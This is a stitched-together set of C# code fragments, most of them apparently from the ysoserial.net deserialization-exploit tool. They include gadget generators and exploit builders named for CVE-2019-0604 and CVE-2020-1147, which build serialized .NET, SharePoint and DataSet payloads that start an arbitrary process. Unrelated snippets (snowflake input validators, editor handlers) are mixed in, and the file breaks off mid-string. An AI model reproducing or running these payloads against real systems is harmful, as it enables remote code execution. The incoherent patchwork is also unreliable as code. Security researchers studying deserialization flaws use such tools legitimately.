                if (!String.IsNullOrEmpty(file) && !String.IsNullOrWhiteSpace(file))
                {
                    mtype        = @"type=""System.Resources.ResXFileRef""";
                    payloadValue = file + "; System.Resources.ResXResourceSet, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
                }
                break;

            case "binaryformatter":
            case "compileddotresources":
                if (!String.IsNullOrWhiteSpace(inputArgs.CmdFullString))
                {
                    var types          = AppDomain.CurrentDomain.GetAssemblies().SelectMany(s => s.GetTypes());
                    var generatorTypes = types.Where(p => typeof(IGenerator).IsAssignableFrom(p) && !p.IsInterface && !p.AssemblyQualifiedName.Contains("Helpers.TestingArena"));
                    var generators     = generatorTypes.Select(x => x.Name.Replace("Generator", "")).ToList().OrderBy(s => s, StringComparer.OrdinalIgnoreCase);

                    if (!generators.Contains(gadget_name, StringComparer.CurrentCultureIgnoreCase))
                    {
                        Console.WriteLine("Gadget not supported. Supported gadgets are: " + string.Join(" , ", generators.OrderBy(s => s, StringComparer.OrdinalIgnoreCase)));
                        System.Environment.Exit(-1);
                    }

                    string formatter_name = "binaryformatter";     // this is what we need here

                    // Instantiate Payload Generator
                    IGenerator generator = null;
                    try
                    {
                        gadget_name = generators.Where(p => String.Equals(p, gadget_name, StringComparison.OrdinalIgnoreCase)).FirstOrDefault();
                        var container = Activator.CreateInstance(null, "ysoserial.Generators." + gadget_name + "Generator");
                        generator = (IGenerator)container.Unwrap();
                    }
                    catch
                    {
                        Console.WriteLine("Gadget not supported!");
                        System.Environment.Exit(-1);
                    }

                    // Check Generator supports specified formatter
                    if (generator.IsSupported(formatter_name))
                    {
                        byte[] bfPayload = (byte[])generator.GenerateWithInit(formatter_name, inputArgs);

                        if (mode.ToLower() == "binaryformatter")
                        {
                            mtype = @"mimetype=""application/x-microsoft.net.object.binary.base64""";

                            payloadValue = Convert.ToBase64String(bfPayload);
                        }
                        else
                        {
                            string header_AxHostStateGadget = @"zsrvvgEAAACRAAAAbFN5c3RlbS5SZXNvdXJjZXMuUmVzb3VyY2VSZWFkZXIsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OSNTeXN0ZW0uUmVzb3VyY2VzLlJ1bnRpbWVSZXNvdXJjZVNldAIAAAABAAAAAQAAAHpTeXN0ZW0uV2luZG93cy5Gb3Jtcy5BeEhvc3QrU3RhdGUsIFN5c3RlbS5XaW5kb3dzLkZvcm1zLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OVBBRFCCIAusAAAAAIsBAABSQQBjAHQAaQB2AGkAdAB5AFMAdQByAHIAbwBnAGEAdABlAFMAZQBsAGUAYwB0AG8AcgBGAHIAbwBtAEYAaQBsAGUAXwBQAGEAeQBsAG8AYQBkAAAAAABA";


                            using (BinaryWriter binWriter = new BinaryWriter(File.Open(outputfile, FileMode.Create)))
                            {
                                // Write header of the resources file
                                binWriter.Write(Convert.FromBase64String(header_AxHostStateGadget));
                                // Write body of the resources file (we call it body here but not a body in practice)
                                binWriter.Write(bfPayload);
                            }

                            payloadValue = "The Resources output file has been written: " + outputfile;
                            payload      = "The Resources output file has been written: " + outputfile;
                        }
                    }
                    else
                    {
                        Console.WriteLine("Formatter not supported. Supported formatters are: " + string.Join(" , ", generator.SupportedFormatters().OrderBy(s => s, StringComparer.OrdinalIgnoreCase)));
                        System.Environment.Exit(-1);
                    }
                }
                break;

            case "soapformatter":
                mtype = @"mimetype=""text/microsoft-urt/soap-serialized/base64""";
                if (!String.IsNullOrWhiteSpace(inputArgs.CmdFullString))
                {
                    byte[] osf = (byte[])new ActivitySurrogateSelectorFromFileGenerator().GenerateWithNoTest("SoapFormatter", inputArgs);
                    payloadValue = Convert.ToBase64String(osf);
                }
                else
                {
                    byte[] osf = (byte[])new ActivitySurrogateSelectorGenerator().GenerateWithNoTest("SoapFormatter", inputArgs);
                    payloadValue = Convert.ToBase64String(osf);
                }
                break;
            }

            if (String.IsNullOrEmpty(payloadValue))
            {
                Console.Write("ysoserial: ");
                Console.WriteLine("Incorrect plugin mode/arguments combination");
                Console.WriteLine("Try 'ysoserial -p Resx --help' for more information.");
                System.Environment.Exit(-1);
            }

            if (mode.ToLower() != "compileddotresources")
            {
                payload = String.Format(payload, mtype, payloadValue);

                if (inputArgs.Minify)
                {
                    payload = XMLMinifier.Minify(payload, null, null);
                }
            }

            if (inputArgs.Test)
            {
                try
                {
                    if (mode.ToLower() != "compileddotresources")
                    {
                        using (TextReader sr = new StringReader(payload))
                        {
                            var foo = new ResXResourceReader(sr);
                            if (mode.ToLower() != "binaryformatter")
                            {
                                foo.GetEnumerator();
                            }
                        }
                    }
                    else
                    {
                        ResourceSet myResourceSet = new ResourceSet(outputfile);
                    }
                }
                catch { }
            }

            return(payload);
        }
        public object Run(string[] args)
        {
            InputArgs     inputArgs = new InputArgs();
            List <string> extra;

            try
            {
                extra                   = options.Parse(args);
                inputArgs.Cmd           = command;
                inputArgs.Minify        = minify;
                inputArgs.UseSimpleType = useSimpleType;
                inputArgs.Test          = test;
            }
            catch (OptionException e)
            {
                Console.Write("ysoserial: ");
                Console.WriteLine(e.Message);
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }

            object payload = "";

            if (String.IsNullOrEmpty(command) || String.IsNullOrWhiteSpace(command))
            {
                Console.Write("ysoserial: ");
                Console.WriteLine("Incorrect plugin mode/arguments combination");
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }

            if (mode.ToLower().Equals("sessionstateitemcollection"))
            {
                /* I decided to change the TypeConfuseDelegateGenerator class and use its gadget instead of doing this through the following hacky way */

                /* hacky way begin
                 * byte[] tempPayload_init = (byte[])new TypeConfuseDelegateGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
                 * byte[] tempPayload = new byte[tempPayload_init.Length + 1]; // adding one byte initially to fix the length problem
                 * tempPayload_init.CopyTo(tempPayload, 0);
                 * System.Web.SessionState.SessionStateItemCollection items = new System.Web.SessionState.SessionStateItemCollection();
                 * items[""] = tempPayload;
                 * MemoryStream stream = new MemoryStream();
                 * BinaryWriter writer = new BinaryWriter(stream);
                 * items.Serialize(writer);
                 * stream.Flush();
                 * tempPayload = stream.ToArray();
                 * byte[] newSerializedData = new byte[tempPayload.Length-27-1-1]; // yes don't ask about the numbers! it's magical!
                 * Array.Copy(tempPayload, 0, newSerializedData, 0, 9); // reading first 9 bytes
                 * Array.Copy(tempPayload, 36, newSerializedData, 9, tempPayload.Length-27-1-9-1); // ignoring 27 bytes after 9 bytes + reading the rest + ignoring the last byte
                 * newSerializedData[13] = 20; // for ReadByte - 20 is the type that will be deserialized in AltSerialization.ReadValueFromStream
                 * // hacky way ends */

                /* here it is using the sane way! */
                object serializedData = (object)TypeConfuseDelegateGenerator.TypeConfuseDelegateGadget(inputArgs);
                System.Web.SessionState.SessionStateItemCollection items = new System.Web.SessionState.SessionStateItemCollection();
                items[""] = serializedData;
                MemoryStream stream = new MemoryStream();
                BinaryWriter writer = new BinaryWriter(stream);
                items.Serialize(writer);
                stream.Flush();
                payload = stream.ToArray();

                if (test)
                {
                    // PoC on how it works in practice
                    stream = new MemoryStream((byte[])payload);
                    BinaryReader binReader = new BinaryReader(stream);
                    System.Web.SessionState.SessionStateItemCollection test = System.Web.SessionState.SessionStateItemCollection.Deserialize(binReader);
                    test.GetEnumerator();
                }
            }
            else
            {
                // HttpStaticObjectsCollection
                byte[] serializedData    = (byte[])new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
                byte[] newSerializedData = new byte[serializedData.Length + 7]; // ReadInt32 + ReadString + ReadBoolean + ReadByte
                serializedData.CopyTo(newSerializedData, 7);
                newSerializedData[0] = 1;                                       // for ReadInt32
                newSerializedData[5] = 1;                                       // for ReadBoolean
                newSerializedData[6] = 20;                                      // for ReadByte - 20 is the type that will be deserialized in AltSerialization.ReadValueFromStream

                payload = newSerializedData;

                if (test)
                {
                    // PoC on how it works in practice
                    try {
                        MemoryStream stream    = new MemoryStream((byte[])payload);
                        BinaryReader binReader = new BinaryReader(stream);
                        System.Web.HttpStaticObjectsCollection test = System.Web.HttpStaticObjectsCollection.Deserialize(binReader);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
            }

            return(payload);
        }
Exemple #23
0
        public override object Generate(string formatter, InputArgs inputArgs)
        {
            Generator generator = new TextFormattingRunPropertiesGenerator();

            byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs);
            string b64encoded             = Convert.ToBase64String(binaryFormatterPayload);

            if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
                formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase))
            {
                var obj = new WindowsIdentityIdentityMarshal(b64encoded);
                return(Serialize(obj, formatter, inputArgs));
            }
            else if (formatter.ToLower().Equals("json.net"))
            {
                string payload = @"{
                    '$type': 'System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
                    'System.Security.ClaimsIdentity.actor': '" + b64encoded + @"'
                }";

                if (inputArgs.Minify)
                {
                    if (inputArgs.UseSimpleType)
                    {
                        payload = JSONMinifier.Minify(payload, new string[] { "mscorlib" }, null);
                    }
                    else
                    {
                        payload = JSONMinifier.Minify(payload, null, null);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.JsonNet_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("datacontractserializer"))
            {
                string payload = $@"<root type=""System.Security.Principal.WindowsIdentity, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
    <WindowsIdentity xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:x=""http://www.w3.org/2001/XMLSchema"" xmlns=""http://schemas.datacontract.org/2004/07/System.Security.Principal"">
      <System.Security.ClaimsIdentity.actor i:type=""x:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.actor>
       </WindowsIdentity>
</root>
";
                if (inputArgs.Minify)
                {
                    if (inputArgs.UseSimpleType)
                    {
                        payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null);
                    }
                    else
                    {
                        payload = XMLMinifier.Minify(payload, null, null);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.DataContractSerializer_deserialize(payload, null, "root", "type");
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("netdatacontractserializer"))
            {
                string payload = $@"<root>
<w xmlns:i=""http://www.w3.org/2001/XMLSchema-instance"" z:Type=""System.Security.Principal.WindowsIdentity"" z:Assembly=""mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"" xmlns="""">
  <System.Security.ClaimsIdentity.actor z:Type=""System.String"" z:Assembly=""0"" >{b64encoded}</System.Security.ClaimsIdentity.actor>
</w>
</root>
";
                if (inputArgs.Minify)
                {
                    if (inputArgs.UseSimpleType)
                    {
                        payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null);
                    }
                    else
                    {
                        payload = XMLMinifier.Minify(payload, null, null);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.NetDataContractSerializer_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("soapformatter"))
            {
                string payload = $@"<SOAP-ENV:Envelope xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xmlns:SOAP-ENC=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:SOAP-ENV=""http://schemas.xmlsoap.org/soap/envelope/"" xmlns:clr=""http://schemas.microsoft.com/soap/encoding/clr/1.0"" SOAP-ENV:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"">
<SOAP-ENV:Body>
    <a1:WindowsIdentity id=""ref-1"" xmlns:a1=""http://schemas.microsoft.com/clr/nsassem/System.Security.Principal/mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
      <System.Security.ClaimsIdentity.actor xsi:type=""xsd:string"" xmlns="""">{b64encoded}</System.Security.ClaimsIdentity.actor>
    </a1:WindowsIdentity>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
";
                if (inputArgs.Minify)
                {
                    if (inputArgs.UseSimpleType)
                    {
                        payload = XMLMinifier.Minify(payload, new string[] { "mscorlib" }, null, FormatterType.SoapFormatter);
                    }
                    else
                    {
                        payload = XMLMinifier.Minify(payload, null, null, FormatterType.SoapFormatter);
                    }
                }

                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.SoapFormatter_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }
        /// <summary>
        /// Submit this input, and tell me if its valid!
        /// </summary>
        /// <param name="input">An object containing input arguments</param>
        /// <returns>Answers if the input is valid or not</returns>
        public virtual bool SubmitInput(InputArgs input)
        {
            Contract.Requires(input is InputArgsSnowflakeScientific);

            var inp = (InputArgsSnowflakeScientific)input;
            float a, b, g, t, k, m, r, s;

            // validate input
            if (!IsFloat(inp.Alpha, out a) || !(AlphaMin <= a & a <= AlphaMax)) { Console.WriteLine("e0 " + a); return false; } // input is not valid
            if (!IsFloat(inp.Beta, out b) || !(BetaMin <= b & b <= BetaMax)) { Console.WriteLine("e1 " + b); return false; } //
            if (!IsFloat(inp.Gamma, out g) || !(GammaMin <= g & g <= GammaMax)) { Console.WriteLine("e2 " + g); return false; } //
            if (!IsFloat(inp.Theta, out t) || !(ThetaMin <= t & t <= ThetaMax)) { Console.WriteLine("e3 " + t); return false; } //
            if (!IsFloat(inp.Kappa, out k) || !(KappaMin <= k & k <= KappaMax)) { Console.WriteLine("e4 " + k); return false; } //
            if (!IsFloat(inp.Mu, out m) || !(MuMin <= m & m <= MuMax)) { Console.WriteLine("e5 " + m); return false; } //
            if (!IsFloat(inp.Rho, out r) || !(RhoMin <= r & r <= RhoMax)) { Console.WriteLine("e6 " + r); return false; } //
            if (!IsFloat(inp.Sigma, out s) || !(SigmaMin <= s & s <= SigmaMax)) { Console.WriteLine("e7 " + s); return false; } //

            // input is valid
            M.Reset(new DomainSnowflakeArgs { Rho = r, Beta = b, Alpha = a, Theta = t, Kappa = k, Mu = m, Gamma = g, Sigma = s });
            UpdateViews();
            return true;
        }
        public object Run(string[] args)
        {
            InputArgs     inputArgs = new InputArgs();
            List <string> extra;

            try
            {
                extra = options.Parse(args);
                inputArgs.CmdFullString = command;
                inputArgs.Minify        = minify;
                inputArgs.UseSimpleType = useSimpleType;
                inputArgs.Test          = test;
            }
            catch (OptionException e)
            {
                Console.Write("ysoserial: ");
                Console.WriteLine(e.Message);
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }
            String payloadValue = "";
            string payload      = @"<ApplicationTrust version=""1"" TrustedToRun=""true"">
<ExtraInfo Data=""{0}"">
</ExtraInfo>
<!--  the following commented tags can be enabled when needed-->
<!--
<DefaultGrant>
<PolicyStatement version=""1"">
<PermissionSet class=""System.Security.PermissionSet"" version=""1""/>
</PolicyStatement>
</DefaultGrant>
-->
</ApplicationTrust>
";

            if (String.IsNullOrEmpty(command) || String.IsNullOrWhiteSpace(command))
            {
                Console.Write("ysoserial: ");
                Console.WriteLine("Incorrect plugin mode/arguments combination");
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }

            byte[] osf = (byte[])new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
            payloadValue = BitConverter.ToString(osf).Replace("-", string.Empty);
            payload      = String.Format(payload, payloadValue);

            if (minify)
            {
                payload = XMLMinifier.Minify(payload, null, null);
            }

            if (test)
            {
                // PoC on how it works in practice
                try
                {
                    System.Security.SecurityElement         malPayload         = System.Security.SecurityElement.FromString(payload);
                    System.Security.Policy.ApplicationTrust myApplicationTrust = new System.Security.Policy.ApplicationTrust();
                    myApplicationTrust.FromXml(malPayload);
                    Console.WriteLine(myApplicationTrust.ExtraInfo);
                }
                catch { }
            }

            return(payload);
        }
Exemple #26
0
 private static bool TryReadMessage(WindowMessage message, IntPtr data, out InputArgs inputArgs)
 {
     return(message.IsMouseMessage()
 ? TryReadMouseMessage(message, data, out inputArgs)
 : Env.Config.KeyboardLayout.TryReadKeyboardMessage(message, data, out inputArgs));
 }
Exemple #27
0
        public string CVE_2019_0604()
        {
            /*
             * string payloadPart2 = @"<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"">
             * <ExpandedElement/>
             * <ProjectedProperty0>
             * <MethodName>Parse</MethodName>
             * <MethodParameters>
             *  <anyType xsi:type=""xsd:string"">
             *      <![CDATA[<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{{d:Type c:Process}}"" MethodName=""Start"">"+ cmdPart + @"</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
             *  </anyType>
             * </MethodParameters>
             * <ObjectInstance xsi:type=""XamlReader""></ObjectInstance>
             * </ProjectedProperty0>
             * </ExpandedWrapperOfXamlReaderObjectDataProvider>";
             * //*/

            string payloadPart1 = "";
            string payloadPart2 = "";

            if (useurl)
            {
                InputArgs inputArgs = new InputArgs();
                inputArgs.Cmd      = "foobar";
                inputArgs.IsRawCmd = true;
                inputArgs.ExtraInternalArguments = new List <String> {
                    "--variant", "3", "--xamlurl", cmd
                };
                inputArgs.Minify        = true;
                inputArgs.UseSimpleType = true;

                payloadPart1 = typeof(Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties).AssemblyQualifiedName + ":";
                payloadPart1 = payloadPart1.Replace(" ", "");
                TextFormattingRunPropertiesGenerator myTFRPG = new TextFormattingRunPropertiesGenerator();
                payloadPart2 = (string)myTFRPG.GenerateWithNoTest("DataContractSerializer", inputArgs);
            }
            else
            {
                payloadPart1 = @"System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:";

                Boolean  hasArgs;
                string[] splittedCMD = CommandArgSplitter.SplitCommand(cmd, CommandArgSplitter.CommandType.XML, out hasArgs);

                String cmdPart;

                if (hasArgs)
                {
                    cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String><b:String>{splittedCMD[1]}</b:String>";
                }
                else
                {
                    cmdPart = $@"<ObjectDataProvider.MethodParameters><b:String>{splittedCMD[0]}</b:String>";
                }

                payloadPart2 = @"<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:a=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:b=""http://www.w3.org/2001/XMLSchema""><ExpandedElement/><ProjectedProperty0><MethodName>Parse</MethodName><MethodParameters><anyType a:type=""b:string""><![CDATA[<ResourceDictionary xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation"" xmlns:d=""http://schemas.microsoft.com/winfx/2006/xaml"" xmlns:b=""clr-namespace:System;assembly=mscorlib"" xmlns:c=""clr-namespace:System.Diagnostics;assembly=system""><ObjectDataProvider d:Key="""" ObjectType=""{{d:Type c:Process}}"" MethodName=""Start"">" + cmdPart + @"</ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType></MethodParameters><ObjectInstance a:type=""XamlReader""/></ProjectedProperty0></ExpandedWrapperOfXamlReaderObjectDataProvider>";
            }
            //payloadPart2 = PayloadMinifier(payloadPart2); // we need to make it smaller as goes bigger after encoding

            payloadPart2 = XMLMinifier.Minify(payloadPart2, null, null, FormatterType.DataContractXML, true);

            //Console.WriteLine(payloadPart2);
            string payload = payloadPart1 + payloadPart2;

            Console.WriteLine(payload);
            StringBuilder stringBuilder = new StringBuilder();

            stringBuilder.Append("__bp");
            HexEncode(checked ((char)(payload.Length << 2)), stringBuilder);
            HexEncode(payload, stringBuilder);

            return(stringBuilder.ToString());
        }
Exemple #28
0
 public override object Generate(string formatter, InputArgs inputArgs)
 {
     return(Serialize(TypeConfuseDelegateGadget(inputArgs), formatter, inputArgs));
 }
Exemple #29
0
 /// <inheritdoc/>
 public void LeftUp(InputArgs args) => _editor?.CurrentTool?.LeftUp(args);
Exemple #30
0
 public override object Generate(string formatter, InputArgs inputArgs)
 {
     throw new NotImplementedException();
 }
Exemple #31
0
 /// <inheritdoc/>
 public void Move(InputArgs args) => _editor?.CurrentTool?.Move(args);
        /// <summary>
        /// Submit this input, and tell me if its valid!
        /// </summary>
        /// <param name="input">An object containing input arguments</param>
        /// <returns>Answers if the input is valid or not</returns>
        public override bool SubmitInput(InputArgs input)
        {
            Contract.Requires(input is InputArgsSnowflakePersonal);

            var inp = (InputArgsSnowflakePersonal)input;

            //Console.WriteLine(inp.FirstName + "\n" + inp.LastName + "\n" + inp.Birthday + "\n" + inp.LuckyNumber + "\n" + inp.Blah1 + "\n" + inp.Blah2);

            // validate input
            if (inp.FirstName.Length < 1 | inp.LastName.Length < 1 | inp.LuckyNumber.Length < 1 | inp.Blah1.Length < 1 | inp.Blah2.Length < 1)
                return false; // input is not valid

            if (!Regex.Match(inp.Birthday, @"^(0[1-9]|[12][0-9]|3[01])/(0[1-9]|1[012])/(19|20)\d\d$").Success)
                return false; // input is not valid

            float bd0, bd1, bd2;
            var bd = inp.Birthday.Split('/');
            if (!IsFloat(bd[0], out bd0)) return false; // input is not valid
            if (!IsFloat(bd[1], out bd1)) return false; //
            if (!IsFloat(bd[2], out bd2)) return false; //

            // input is valid
            float a = StringToFloat(inp.FirstName) * (AlphaMax - AlphaMin) + AlphaMin;
            float b = StringToFloat(inp.FirstName) * (BetaMax - BetaMin) + BetaMin;
            float g = bd0 / 31 * (GammaMax - GammaMin) + GammaMin;
            float t = bd1 / 12 * (ThetaMax - ThetaMin) + ThetaMin;
            float k = bd2 / 2100 * (KappaMax - KappaMin) + KappaMin;
            float m = StringToFloat(inp.LuckyNumber) * (MuMax - MuMin) + MuMin;
            float r = StringToFloat(inp.Blah1) * (RhoMax - RhoMin) + RhoMin;
            float s = StringToFloat(inp.Blah2) * (SigmaMax - SigmaMin) + SigmaMin;

            Console.WriteLine("a: " + a + "\nb: " + b + "\ng: " + g + "\nt: " + t + "\nk: " + k + "\nm: " + m + "\nr: " + r + "\ns: " + s);

            // input is valid
            this.M.Reset(new DomainSnowflakeArgs { Rho = r, Beta = b, Alpha = a, Theta = t, Kappa = k, Mu = m, Gamma = g, Sigma = s });
            return true;
        }
Exemple #33
0
 /// <inheritdoc/>
 public void LeftUp(InputArgs args) => CurrentTool.LeftUp(args);
        public string CVE_2020_1147()
        {
            InputArgs inputArgs = new InputArgs();

            inputArgs.Cmd           = command;
            inputArgs.IsRawCmd      = true;
            inputArgs.Minify        = false; // minimisation of payload is not important here but we can do it if needed!
            inputArgs.UseSimpleType = false; // minimisation of payload is not important here but we can do it if needed!

            string formatter           = "losformatter";
            string losFormatterPayload = "";

            var types = AppDomain.CurrentDomain.GetAssemblies().SelectMany(s => s.GetTypes());
            // Populate list of available gadgets
            var generatorTypes = types.Where(p => typeof(IGenerator).IsAssignableFrom(p) && !p.IsInterface);
            var generators     = generatorTypes.Select(x => x.Name.Replace("Generator", "")).ToList();

            if (!generators.Contains(gadget))
            {
                Console.WriteLine("Gadget not supported.");
                System.Environment.Exit(-1);
            }

            // Instantiate Payload Generator
            IGenerator generator = null;

            try
            {
                var container = Activator.CreateInstance(null, "ysoserial.Generators." + gadget + "Generator");
                generator = (IGenerator)container.Unwrap();
            }
            catch
            {
                Console.WriteLine("Gadget not supported!");
                System.Environment.Exit(-1);
            }

            // Check Generator supports specified formatter
            if (generator.IsSupported(formatter))
            {
                losFormatterPayload = System.Text.Encoding.ASCII.GetString((byte[])generator.GenerateWithNoTest(formatter, inputArgs));
            }
            else
            {
                Console.WriteLine("LosFormatter not supported.");
                System.Environment.Exit(-1);
            }

            string payload = @"<DataSet>
  <xs:schema xmlns="""" xmlns:xs=""http://www.w3.org/2001/XMLSchema"" xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"" id=""somedataset"">
    <xs:element name=""somedataset"" msdata:IsDataSet=""true"" msdata:UseCurrentLocale=""true"">
      <xs:complexType>
        <xs:choice minOccurs=""0"" maxOccurs=""unbounded"">
          <xs:element name=""Exp_x0020_Table"">
            <xs:complexType>
              <xs:sequence>
                <xs:element name=""pwn"" msdata:DataType=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"" type=""xs:anyType"" minOccurs=""0""/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata=""urn:schemas-microsoft-com:xml-msdata"" xmlns:diffgr=""urn:schemas-microsoft-com:xml-diffgram-v1"">
    <somedataset>
      <Exp_x0020_Table diffgr:id=""Exp Table1"" msdata:rowOrder=""0"" diffgr:hasChanges=""inserted"">
        <pwn xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"">
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Deserialize</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xsi:type=""xsd:string"">" + losFormatterPayload + @"</anyType>
            </MethodParameters>
            <ObjectInstance xsi:type=""LosFormatter""></ObjectInstance>
        </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>";

            // minimisation of payload is not important here but we can do it if needed!

            return(payload.Replace("+", "%2B").Replace("&", "%26")); // POST body safe (minimal url-encoding)
        }
Exemple #35
0
        public override object Generate(string formatter, InputArgs inputArgs)
        {
            IGenerator generator = new TextFormattingRunPropertiesGenerator();

            byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs);
            string b64encoded             = Convert.ToBase64String(binaryFormatterPayload);

            if (formatter.Equals("binaryformatter", StringComparison.OrdinalIgnoreCase) ||
                formatter.Equals("losformatter", StringComparison.OrdinalIgnoreCase))
            {
                Object obj = null;

                if (variant_number == 2)
                {
                    obj = new WindowsClaimsIdentityMarshal_var2(b64encoded);
                }
                else if (variant_number == 3)
                {
                    obj = new WindowsClaimsIdentityMarshal_var3(b64encoded);
                }
                else
                {
                    obj = new WindowsClaimsIdentityMarshal_var1(b64encoded);
                }

                return(Serialize(obj, formatter, inputArgs));
            }
            else if (formatter.ToLower().Equals("json.net"))
            {
                string payload = "";


                if (variant_number == 2)
                {
                    payload = @"{
                    '$type': 'Microsoft.IdentityModel.Claims.WindowsClaimsIdentity, Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35',
                    'System.Security.ClaimsIdentity.bootstrapContext': '" + b64encoded + @"'
                }";
                }
                else
                {
                    payload = @"{
                    '$type': 'Microsoft.IdentityModel.Claims.WindowsClaimsIdentity, Microsoft.IdentityModel,Version=3.5.0.0,PublicKeyToken=31bf3856ad364e35',
                    'System.Security.ClaimsIdentity.actor': '" + b64encoded + @"'
                }";
                }

                if (inputArgs.Minify)
                {
                    if (inputArgs.UseSimpleType)
                    {
                        payload = JSONMinifier.Minify(payload, new string[] { "Microsoft.IdentityModel" }, null);
                    }
                    else
                    {
                        payload = JSONMinifier.Minify(payload, null, null);
                    }
                }


                if (inputArgs.Test)
                {
                    try
                    {
                        SerializersHelper.JsonNet_deserialize(payload);
                    }
                    catch (Exception err)
                    {
                        Debugging.ShowErrors(inputArgs, err);
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("datacontractserializer"))
            {
                string payload = "";

                if (variant_number == 2)
                {
                    payload = $@"<root type=""Microsoft.IdentityModel.Claims.WindowsClaimsIdentity, Microsoft.IdentityModel, Version=3.5.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"">
